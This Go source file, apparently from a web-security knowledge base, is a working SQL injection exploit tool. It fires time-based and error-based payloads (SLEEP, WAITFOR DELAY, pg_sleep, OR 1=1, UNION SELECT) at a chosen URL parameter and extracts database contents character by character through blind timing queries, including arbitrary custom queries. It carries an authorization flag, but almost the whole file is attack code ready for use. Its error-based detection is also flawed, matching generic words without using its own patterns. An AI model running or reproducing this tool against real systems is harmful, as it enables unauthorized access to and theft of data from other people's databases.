文件
websafe-kb/01-sql-injection/tools/sqli-exploit.go

399 行
11 KiB
Go

// sqli-exploit.go - 高性能SQL注入利用工具
package main
import (
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
)
type SQLiExploit struct {
Client *http.Client
TargetURL string
Method string
Param string
Threads int
Timeout time.Duration
Headers map[string]string
Cookie string
Quiet bool
}
type InjectionResult struct {
Payload string
VulnType string
DBMS string
ResponseLen int
}
var (
colorRed = "\033[91m"
colorGreen = "\033[92m"
colorYellow = "\033[93m"
colorBlue = "\033[94m"
colorCyan = "\033[96m"
colorBold = "\033[1m"
colorEnd = "\033[0m"
)
func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit {
return &SQLiExploit{
Client: &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
},
TargetURL: target,
Method: method,
Param: param,
Threads: threads,
Timeout: timeout,
Headers: map[string]string{},
}
}
func (s *SQLiExploit) SendRequest(payload string) (string, int, error) {
var req *http.Request
var err error
targetURL := s.TargetURL
if s.Method == "GET" {
u, _ := url.Parse(targetURL)
q := u.Query()
q.Set(s.Param, payload)
u.RawQuery = q.Encode()
req, err = http.NewRequest("GET", u.String(), nil)
} else {
data := url.Values{}
data.Set(s.Param, payload)
req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
}
if err != nil {
return "", 0, err
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
for k, v := range s.Headers {
req.Header.Set(k, v)
}
if s.Cookie != "" {
req.Header.Set("Cookie", s.Cookie)
}
resp, err := s.Client.Do(req)
if err != nil {
return "", 0, err
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
return string(body), len(body), nil
}
func (s *SQLiExploit) TestTimeBased(payloads []struct {
Payload string
DBMS string
Delay time.Duration
}) []InjectionResult {
var results []InjectionResult
var mu sync.Mutex
var wg sync.WaitGroup
sem := make(chan struct{}, s.Threads)
for _, p := range payloads {
wg.Add(1)
go func(payload, dbms string, delay time.Duration) {
defer wg.Done()
sem <- struct{}{}
defer func() { <-sem }()
start := time.Now()
_, respLen, err := s.SendRequest(payload)
elapsed := time.Since(start)
if err == nil && elapsed >= delay-500*time.Millisecond {
mu.Lock()
results = append(results, InjectionResult{
Payload: payload,
VulnType: "Time-based Blind",
DBMS: dbms,
ResponseLen: respLen,
})
mu.Unlock()
if !s.Quiet {
fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
colorRed+colorBold, colorEnd, payload, elapsed, dbms)
}
}
}(p.Payload, p.DBMS, p.Delay)
}
wg.Wait()
return results
}
func (s *SQLiExploit) TestErrorBased(payloads []struct {
Payload string
Type string
}) []InjectionResult {
var results []InjectionResult
errorPatterns := map[string]string{
"MySQL": "SQL syntax.*MySQL|Warning.*mysql_|MySqlException",
"PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query",
"MSSQL": "Microsoft SQL Server|ODBC SQL Server|SQLServer",
"Oracle": "ORA-\\d{5}|Oracle.*Driver",
"SQLite": "SQLite.*error|sqlite3.OperationalError",
}
for _, p := range payloads {
body, respLen, err := s.SendRequest(p.Payload)
if err != nil {
continue
}
for dbms, pattern := range errorPatterns {
if strings.Contains(body, "SQL") || strings.Contains(body, "error") ||
strings.Contains(body, "Error") || strings.Contains(body, "Warning") {
results = append(results, InjectionResult{
Payload: p.Payload,
VulnType: "Error-based",
DBMS: dbms,
ResponseLen: respLen,
})
if !s.Quiet {
fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
colorRed+colorBold, colorEnd, p.Payload, dbms)
}
break
}
}
}
return results
}
func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string {
var result strings.Builder
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@."
if !s.Quiet {
fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
}
for pos := 1; pos <= maxLen; pos++ {
found := false
for _, char := range charset {
var payload string
if technique == "time" {
switch dbms {
case "mysql":
payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char)
case "mssql":
payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char)
case "postgresql":
payload = fmt.Sprintf("1' AND CASE WHEN SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char)
}
start := time.Now()
s.SendRequest(payload)
elapsed := time.Since(start)
if elapsed >= 900*time.Millisecond {
result.WriteByte(byte(char))
found = true
if !s.Quiet {
fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
}
break
}
}
}
if !found {
break
}
}
fmt.Println()
return result.String()
}
func parseHeaders(raw string) map[string]string {
headers := map[string]string{}
if raw == "" {
return headers
}
for _, part := range strings.Split(raw, ",") {
pair := strings.SplitN(part, ":", 2)
if len(pair) != 2 {
continue
}
headers[strings.TrimSpace(pair[0])] = strings.TrimSpace(pair[1])
}
return headers
}
func main() {
target := flag.String("u", "", "Target URL")
method := flag.String("m", "GET", "HTTP Method (GET/POST)")
param := flag.String("p", "id", "Parameter to inject")
threads := flag.Int("t", 5, "Number of threads")
timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
technique := flag.String("technique", "time", "Injection technique (time/error/bool)")
extract := flag.String("extract", "", "Data to extract (user/database/version)")
query := flag.String("query", "", "Custom SQL query")
dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)")
header := flag.String("header", "", "Extra headers in Name:Value,Name2:Value2 format")
cookie := flag.String("cookie", "", "Cookie header value")
format := flag.String("format", "text", "Output format: text or json")
output := flag.String("output", "", "Write output to file")
evidenceDir := flag.String("evidence-dir", "", "Optional evidence directory")
runID := flag.String("run-id", "", "Associated run ID")
caseID := flag.String("case-id", "", "Associated case ID")
ackAuthorized := flag.Bool("ack-authorized", false, "Confirm the target is owned or authorized")
flag.Parse()
if *target == "" || !*ackAuthorized {
fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
flag.Usage()
return
}
exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout)
exploit.Headers = parseHeaders(*header)
exploit.Cookie = *cookie
exploit.Quiet = *format != "text"
timePayloads := []struct {
Payload string
DBMS string
Delay time.Duration
}{
{"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second},
{"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second},
{"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second},
{"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second},
{"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second},
}
errorPayloads := []struct {
Payload string
Type string
}{
{"'", "Single Quote"},
{"\"", "Double Quote"},
{"' OR 1=1-- -", "OR Injection"},
{"' AND 1=1-- -", "AND Injection"},
{"' UNION SELECT NULL-- -", "UNION"},
}
var allResults []InjectionResult
timeResults := exploit.TestTimeBased(timePayloads)
allResults = append(allResults, timeResults...)
errorResults := exploit.TestErrorBased(errorPayloads)
allResults = append(allResults, errorResults...)
extractedResult := ""
if *extract != "" || *query != "" {
var extractQuery string
switch *extract {
case "user":
switch *dbms {
case "mysql":
extractQuery = "SELECT user()"
case "mssql":
extractQuery = "SELECT SYSTEM_USER"
case "postgresql":
extractQuery = "SELECT current_user"
}
case "database":
switch *dbms {
case "mysql":
extractQuery = "SELECT database()"
case "mssql":
extractQuery = "SELECT DB_NAME()"
case "postgresql":
extractQuery = "SELECT current_database()"
}
case "version":
switch *dbms {
case "mysql":
extractQuery = "SELECT version()"
case "mssql":
extractQuery = "SELECT @@version"
case "postgresql":
extractQuery = "SELECT version()"
}
default:
extractQuery = *query
}
if extractQuery != "" {
extractedResult = exploit.ExtractData(extractQuery, *technique, *dbms, 100)
}
}
report := map[string]interface{}{
"tool": "sqli-exploit-go",
"mode": *technique + "-probe-and-extract",
"target": *target,
"status": "needs-review",
"severity": "info",
"timestamp": time.Now().UTC().Format(time.RFC3339),
"request_summary": map[string]interface{}{"method": *method, "param": *param, "threads": *threads, "dbms": *dbms},
"payload_or_probe": map[string]interface{}{"hits": allResults, "extract": *extract, "query": *query, "result": extractedResult},
"evidence_refs": []string{},
"minimal_validation": "只读探测、最小化注入、可审计回显、可回滚验证。",
"authorization_scope": "lab-local, lab-public, authorized-third-party",
"destructive_risk": "medium",
"run_id": *runID,
"case_id": *caseID,
}
if len(allResults) > 0 || extractedResult != "" {
report["status"] = "verified"
report["severity"] = "high"
}
if *evidenceDir != "" {
_ = os.MkdirAll(*evidenceDir, 0o755)
evidencePath := *evidenceDir + "/sqli-exploit-go.json"
if raw, err := json.MarshalIndent(report, "", " "); err == nil {
_ = os.WriteFile(evidencePath, append(raw, '\n'), 0o644)
report["evidence_refs"] = append(report["evidence_refs"].([]string), evidencePath)
}
}
var content []byte
if *format == "json" {
content, _ = json.MarshalIndent(report, "", " ")
} else {
lines := []string{
strings.Repeat("=", 60),
"SQL Injection Exploit Tool (Go)",
strings.Repeat("=", 60),
"Target: " + *target,
"Technique: " + *technique,
fmt.Sprintf("Hits: %d", len(allResults)),
"Status: " + report["status"].(string),
}
content = []byte(strings.Join(lines, "\n"))
}
if *output != "" {
_ = os.WriteFile(*output, append(content, '\n'), 0o644)
}
fmt.Println(string(content))
}